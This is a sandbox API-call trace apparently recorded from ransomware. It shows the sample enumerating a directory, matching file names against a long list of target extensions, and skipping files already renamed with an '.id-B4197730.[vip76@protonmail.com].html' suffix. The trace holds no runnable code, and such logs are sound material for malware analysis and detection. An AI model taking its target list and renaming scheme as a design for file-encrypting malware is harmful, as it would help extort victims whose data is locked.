	[0165.628] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81338d88, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81338d88, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8135f280, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.628] FindClose (in: hFindFile=0x6abd98 | out: hFindFile=0x6abd98) returned 1
	[0165.629] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0165.629] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1
	[0165.629] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0165.629] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName=".", cAlternateFileName="")) returned 0x6abb18
	[0165.914] FindNextFileW (in: hFindFile=0x6abb18, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="..", cAlternateFileName="")) returned 1
	[0165.939] FindNextFileW (in: hFindFile=0x6abb18, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8178b395, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8178b395, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x818738b1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3274, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.952] lstrlenW (lpString="eula.rtf.id-B4197730.[vip76@protonmail.com].html") returned 48
	[0165.952] lstrlenW (lpString=".1cd") returned 4
	[0165.952] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0165.952] lstrlenW (lpString=".3ds") returned 4
	[0165.952] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0165.952] lstrlenW (lpString=".3fr") returned 4
	[0165.952] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0165.952] lstrlenW (lpString=".3g2") returned 4
	[0165.952] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0165.952] lstrlenW (lpString=".3gp") returned 4
	[0165.952] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0165.952] lstrlenW (lpString=".7z") returned 3
	[0165.952] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0165.952] lstrlenW (lpString=".accda") returned 6
	[0165.952] lstrcmpiW (lpString1=".accda", lpString2="].html") returned -1
	[0165.952] lstrlenW (lpString=".accdb") returned 6
	[0165.952] lstrcmpiW (lpString1=".accdb", lpString2="].html") returned -1
	[0165.952] lstrlenW (lpString=".accdc") returned 6
	[0165.953] lstrcmpiW (lpString1=".accdc", lpString2="].html") returned -1
	[0165.953] lstrlenW (lpString=".accde") returned 6
	[0165.953] lstrcmpiW (lpString1=".accde", lpString2="].html") returned -1
	[0165.953] lstrlenW (lpString=".accdt") returned 6
	[0165.953] lstrcmpiW (lpString1=".accdt", lpString2="].html") returned -1
	[0165.953] lstrlenW (lpString=".accdw") returned 6
	[0165.953] lstrcmpiW (lpString1=".accdw", lpString2="].html") returned -1
	[0165.953] lstrlenW (lpString=".adb") returned 4
	[0165.953] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0165.953] lstrlenW (lpString=".adp") returned 4
	[0165.953] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0165.953] lstrlenW (lpString=".ai") returned 3
	[0165.953] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0165.953] lstrlenW (lpString=".ai3") returned 4
	[0165.953] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0165.953] lstrlenW (lpString=".ai4") returned 4
	[0165.953] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0165.953] lstrlenW (lpString=".ai5") returned 4
	[0165.953] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0165.953] lstrlenW (lpString=".ai6") returned 4
	[0165.953] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0165.953] lstrlenW (lpString=".ai7") returned 4
	[0165.953] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0165.953] lstrlenW (lpString=".ai8") returned 4
	[0165.953] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0165.953] lstrlenW (lpString=".anim") returned 5
	[0165.953] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0165.953] lstrlenW (lpString=".arw") returned 4
	[0165.953] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0165.953] lstrlenW (lpString=".as") returned 3
	[0165.953] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0165.953] lstrlenW (lpString=".asa") returned 4
	[0165.953] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0165.954] lstrlenW (lpString=".asc") returned 4
	[0165.954] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0165.954] lstrlenW (lpString=".ascx") returned 5
	[0165.954] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0165.954] lstrlenW (lpString=".asm") returned 4
	[0165.954] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0165.954] lstrlenW (lpString=".asmx") returned 5
	[0165.954] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0165.954] lstrlenW (lpString=".asp") returned 4
	[0165.954] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0165.954] lstrlenW (lpString=".aspx") returned 5
	[0165.954] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0165.954] lstrlenW (lpString=".asr") returned 4
	[0165.954] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0165.954] lstrlenW (lpString=".asx") returned 4
	[0165.954] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0165.954] lstrlenW (lpString=".avi") returned 4
	[0165.954] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0165.954] lstrlenW (lpString=".avs") returned 4
	[0165.954] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0165.954] lstrlenW (lpString=".backup") returned 7
	[0165.954] lstrcmpiW (lpString1=".backup", lpString2="m].html") returned -1
	[0165.954] lstrlenW (lpString=".bak") returned 4
	[0165.954] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0165.954] lstrlenW (lpString=".bay") returned 4
	[0165.954] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0165.954] lstrlenW (lpString=".bd") returned 3
	[0165.954] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0165.954] lstrlenW (lpString=".bin") returned 4
	[0165.954] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0165.954] lstrlenW (lpString=".bmp") returned 4
	[0165.954] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0165.954] lstrlenW (lpString=".bz2") returned 4
	[0165.954] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0165.955] lstrlenW (lpString=".c") returned 2
	[0165.955] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0165.955] lstrlenW (lpString=".cdr") returned 4
	[0165.955] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0165.955] lstrlenW (lpString=".cer") returned 4
	[0165.955] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0165.955] lstrlenW (lpString=".cf") returned 3
	[0165.955] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0165.955] lstrlenW (lpString=".cfc") returned 4
	[0165.955] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0165.955] lstrlenW (lpString=".cfm") returned 4
	[0165.955] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0165.955] lstrlenW (lpString=".cfml") returned 5
	[0165.955] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0165.955] lstrlenW (lpString=".cfu") returned 4
	[0165.955] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0165.955] lstrlenW (lpString=".chm") returned 4
	[0165.955] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0165.955] lstrlenW (lpString=".cin") returned 4
	[0165.955] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0165.955] lstrlenW (lpString=".class") returned 6
	[0165.955] lstrcmpiW (lpString1=".class", lpString2="].html") returned -1
	[0165.955] lstrlenW (lpString=".clx") returned 4
	[0165.955] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0165.955] lstrlenW (lpString=".config") returned 7
	[0165.955] lstrcmpiW (lpString1=".config", lpString2="m].html") returned -1
	[0165.955] lstrlenW (lpString=".cpp") returned 4
	[0165.955] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0165.955] lstrlenW (lpString=".cr2") returned 4
	[0165.955] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0165.955] lstrlenW (lpString=".crt") returned 4
	[0165.955] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0165.955] lstrlenW (lpString=".crw") returned 4
	[0165.955] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0165.956] lstrlenW (lpString=".cs") returned 3
	[0165.956] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0165.956] lstrlenW (lpString=".css") returned 4
	[0165.956] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0165.956] lstrlenW (lpString=".csv") returned 4
	[0165.956] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0165.956] lstrlenW (lpString=".cub") returned 4
	[0165.956] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0165.956] lstrlenW (lpString=".dae") returned 4
	[0165.956] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0165.956] lstrlenW (lpString=".dat") returned 4
	[0165.956] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0165.956] lstrlenW (lpString=".db") returned 3
	[0165.956] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0165.956] lstrlenW (lpString=".dbf") returned 4
	[0165.956] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0165.956] lstrlenW (lpString=".dbx") returned 4
	[0165.956] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0165.956] lstrlenW (lpString=".dc3") returned 4
	[0165.956] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0165.956] lstrlenW (lpString=".dcm") returned 4
	[0165.956] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0165.956] lstrlenW (lpString=".dcr") returned 4
	[0165.956] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0165.956] lstrlenW (lpString=".der") returned 4
	[0165.956] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0165.956] lstrlenW (lpString=".dib") returned 4
	[0165.956] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0165.956] lstrlenW (lpString=".dic") returned 4
	[0165.956] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0165.956] lstrlenW (lpString=".dif") returned 4
	[0165.956] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0165.956] lstrlenW (lpString=".divx") returned 5
	[0165.957] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0165.957] lstrlenW (lpString=".djvu") returned 5
	[0165.957] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0165.957] lstrlenW (lpString=".dng") returned 4
	[0165.957] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0165.957] lstrlenW (lpString=".doc") returned 4
	[0165.957] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0165.957] lstrlenW (lpString=".docm") returned 5
	[0165.957] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0165.957] lstrlenW (lpString=".docx") returned 5
	[0165.957] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0165.957] lstrlenW (lpString=".dot") returned 4
	[0165.957] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0165.957] lstrlenW (lpString=".dotm") returned 5
	[0165.957] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0165.957] lstrlenW (lpString=".dotx") returned 5
	[0165.957] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0165.957] lstrlenW (lpString=".dpx") returned 4
	[0165.957] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0165.957] lstrlenW (lpString=".dqy") returned 4
	[0165.957] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0165.957] lstrlenW (lpString=".dsn") returned 4
	[0165.957] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0165.957] lstrlenW (lpString=".dt") returned 3
	[0165.957] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0165.957] lstrlenW (lpString=".dtd") returned 4
	[0165.957] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0165.957] lstrlenW (lpString=".dwg") returned 4
	[0165.957] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0165.957] lstrlenW (lpString=".dwt") returned 4
	[0165.957] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0165.957] lstrlenW (lpString=".dx") returned 3
	[0165.957] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0165.957] lstrlenW (lpString=".dxf") returned 4
	[0165.958] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0165.958] lstrlenW (lpString=".edml") returned 5
	[0165.958] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0165.958] lstrlenW (lpString=".efd") returned 4
	[0165.958] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0165.958] lstrlenW (lpString=".elf") returned 4
	[0165.958] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0165.958] lstrlenW (lpString=".emf") returned 4
	[0165.958] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0165.958] lstrlenW (lpString=".emz") returned 4
	[0165.958] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0165.958] lstrlenW (lpString=".epf") returned 4
	[0165.958] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0165.958] lstrlenW (lpString=".eps") returned 4
	[0165.958] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0165.958] lstrlenW (lpString=".epsf") returned 5
	[0165.958] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0165.958] lstrlenW (lpString=".epsp") returned 5
	[0165.958] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0165.958] lstrlenW (lpString=".erf") returned 4
	[0165.958] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0165.958] lstrlenW (lpString=".exr") returned 4
	[0165.958] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0165.958] lstrlenW (lpString=".f4v") returned 4
	[0165.958] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0165.958] lstrlenW (lpString=".fido") returned 5
	[0165.958] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0165.958] lstrlenW (lpString=".flm") returned 4
	[0165.958] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0165.958] lstrlenW (lpString=".flv") returned 4
	[0165.958] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0165.958] lstrlenW (lpString=".frm") returned 4
	[0165.958] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0165.958] lstrlenW (lpString=".fxg") returned 4
	[0165.959] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0165.959] lstrlenW (lpString=".geo") returned 4
	[0165.959] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0165.959] lstrlenW (lpString=".gif") returned 4
	[0165.959] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0165.959] lstrlenW (lpString=".grs") returned 4
	[0165.959] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0165.959] lstrlenW (lpString=".gz") returned 3
	[0165.959] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0165.959] lstrlenW (lpString=".h") returned 2
	[0165.959] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0165.959] lstrlenW (lpString=".hdr") returned 4
	[0165.959] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0165.959] lstrlenW (lpString=".hpp") returned 4
	[0165.959] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0165.959] lstrlenW (lpString=".hta") returned 4
	[0165.959] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0165.959] lstrlenW (lpString=".htc") returned 4
	[0165.959] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0165.959] lstrlenW (lpString=".htm") returned 4
	[0165.959] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0165.959] lstrlenW (lpString=".html") returned 5
	[0165.959] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0165.959] FindNextFileW (in: hFindFile=0x6abb18, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x818738b1, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x818738b1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x818964b2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xffd6, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.959] lstrlenW (lpString="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html") returned 57
	[0165.959] lstrlenW (lpString=".1cd") returned 4
	[0165.959] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0165.959] lstrlenW (lpString=".3ds") returned 4
	[0165.959] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0165.959] lstrlenW (lpString=".3fr") returned 4
	[0165.959] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0165.959] lstrlenW (lpString=".3g2") returned 4
	[0165.960] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0165.960] lstrlenW (lpString=".3gp") returned 4
	[0165.960] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0165.960] lstrlenW (lpString=".7z") returned 3
	[0165.960] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0165.960] lstrlenW (lpString=".accda") returned 6
	[0165.960] lstrcmpiW (lpString1=".accda", lpString2="].html") returned -1
	[0165.960] lstrlenW (lpString=".accdb") returned 6
	[0165.960] lstrcmpiW (lpString1=".accdb", lpString2="].html") returned -1
	[0165.960] lstrlenW (lpString=".accdc") returned 6
	[0165.960] lstrcmpiW (lpString1=".accdc", lpString2="].html") returned -1
	[0165.960] lstrlenW (lpString=".accde") returned 6
	[0165.960] lstrcmpiW (lpString1=".accde", lpString2="].html") returned -1
	[0165.960] lstrlenW (lpString=".accdt") returned 6
	[0165.960] lstrcmpiW (lpString1=".accdt", lpString2="].html") returned -1
	[0165.960] lstrlenW (lpString=".accdw") returned 6
	[0165.960] lstrcmpiW (lpString1=".accdw", lpString2="].html") returned -1
	[0165.960] lstrlenW (lpString=".adb") returned 4
	[0165.960] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0165.960] lstrlenW (lpString=".adp") returned 4
	[0165.960] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0165.960] lstrlenW (lpString=".ai") returned 3
	[0165.960] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0165.960] lstrlenW (lpString=".ai3") returned 4
	[0165.960] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0165.960] lstrlenW (lpString=".ai4") returned 4
	[0165.960] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0165.960] lstrlenW (lpString=".ai5") returned 4
	[0165.960] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0165.960] lstrlenW (lpString=".ai6") returned 4
	[0165.960] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0165.960] lstrlenW (lpString=".ai7") returned 4
	[0165.960] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0165.961] lstrlenW (lpString=".ai8") returned 4
	[0165.961] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0165.961] lstrlenW (lpString=".anim") returned 5
	[0165.961] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0165.961] lstrlenW (lpString=".arw") returned 4
	[0165.961] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0165.961] lstrlenW (lpString=".as") returned 3
	[0165.961] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0165.961] lstrlenW (lpString=".asa") returned 4
	[0165.961] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0165.961] lstrlenW (lpString=".asc") returned 4
	[0165.961] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0165.961] lstrlenW (lpString=".ascx") returned 5
	[0165.961] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0165.961] lstrlenW (lpString=".asm") returned 4
	[0165.961] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0165.961] lstrlenW (lpString=".asmx") returned 5
	[0165.961] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0165.961] lstrlenW (lpString=".asp") returned 4
	[0165.961] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0165.961] lstrlenW (lpString=".aspx") returned 5
	[0165.961] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0165.961] lstrlenW (lpString=".asr") returned 4
	[0165.961] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0165.961] lstrlenW (lpString=".asx") returned 4
	[0165.961] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0165.961] lstrlenW (lpString=".avi") returned 4
	[0165.961] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0165.961] lstrlenW (lpString=".avs") returned 4
	[0165.961] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0165.961] lstrlenW (lpString=".backup") returned 7
	[0165.961] lstrcmpiW (lpString1=".backup", lpString2="m].html") returned -1
	[0165.961] lstrlenW (lpString=".bak") returned 4
	[0165.961] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0165.962] lstrlenW (lpString=".bay") returned 4
	[0165.962] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0165.962] lstrlenW (lpString=".bd") returned 3
	[0165.962] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0165.962] lstrlenW (lpString=".bin") returned 4
	[0165.962] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0165.962] lstrlenW (lpString=".bmp") returned 4
	[0165.962] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0165.962] lstrlenW (lpString=".bz2") returned 4
	[0165.962] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0165.962] lstrlenW (lpString=".c") returned 2
	[0165.962] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0165.962] lstrlenW (lpString=".cdr") returned 4
	[0165.962] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0165.962] lstrlenW (lpString=".cer") returned 4
	[0165.962] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0165.962] lstrlenW (lpString=".cf") returned 3
	[0165.962] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0165.962] lstrlenW (lpString=".cfc") returned 4
	[0165.962] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0165.962] lstrlenW (lpString=".cfm") returned 4
	[0165.962] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0165.962] lstrlenW (lpString=".cfml") returned 5
	[0165.962] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0165.962] lstrlenW (lpString=".cfu") returned 4
	[0165.962] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0165.962] lstrlenW (lpString=".chm") returned 4
	[0165.962] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0165.962] lstrlenW (lpString=".cin") returned 4
	[0165.962] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0165.962] lstrlenW (lpString=".class") returned 6
	[0165.962] lstrcmpiW (lpString1=".class", lpString2="].html") returned -1
	[0165.962] lstrlenW (lpString=".clx") returned 4
	[0165.962] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0165.963] lstrlenW (lpString=".config") returned 7
	[0165.963] lstrcmpiW (lpString1=".config", lpString2="m].html") returned -1
	[0165.963] lstrlenW (lpString=".cpp") returned 4
	[0165.963] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0165.963] lstrlenW (lpString=".cr2") returned 4
	[0165.963] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0165.963] lstrlenW (lpString=".crt") returned 4
	[0165.963] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0165.963] lstrlenW (lpString=".crw") returned 4
	[0165.963] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0165.963] lstrlenW (lpString=".cs") returned 3
	[0165.963] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0165.963] lstrlenW (lpString=".css") returned 4
	[0165.963] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0165.963] lstrlenW (lpString=".csv") returned 4
	[0165.963] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0165.963] lstrlenW (lpString=".cub") returned 4
	[0165.963] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0165.963] lstrlenW (lpString=".dae") returned 4
	[0165.963] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0165.963] lstrlenW (lpString=".dat") returned 4
	[0165.963] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0165.963] lstrlenW (lpString=".db") returned 3
	[0165.963] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0165.963] lstrlenW (lpString=".dbf") returned 4
	[0165.963] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0165.963] lstrlenW (lpString=".dbx") returned 4
	[0165.963] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0165.963] lstrlenW (lpString=".dc3") returned 4
	[0165.963] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0165.963] lstrlenW (lpString=".dcm") returned 4
	[0165.963] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0165.963] lstrlenW (lpString=".dcr") returned 4
	[0165.963] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0165.964] lstrlenW (lpString=".der") returned 4
	[0165.964] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0165.964] lstrlenW (lpString=".dib") returned 4
	[0165.964] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0165.964] lstrlenW (lpString=".dic") returned 4
	[0165.964] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0165.964] lstrlenW (lpString=".dif") returned 4
	[0165.964] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
